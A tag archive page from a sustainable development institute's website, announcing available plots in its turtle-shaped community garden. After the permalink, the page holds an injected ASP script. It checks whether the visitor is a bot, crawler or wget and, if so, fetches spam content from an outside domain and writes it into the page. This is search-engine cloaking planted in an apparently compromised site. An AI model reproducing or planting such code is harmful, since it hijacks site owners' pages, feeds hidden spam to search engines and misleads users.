Tag Archive: turtle garden

May 17

Turtle Garden Plots Available

Gardening season is upon us and SDI with the help of Sam Knapp, AmeriCorps VISTA volunteer, will be preparing the Turtle Garden for planting on Wednesday, May 24. Feel free to stop on over and get your hands dirty at anytime during the day. Ten of the thirteen plots in this turtle-shaped garden are available …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/05/turtle-garden-plots-available/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>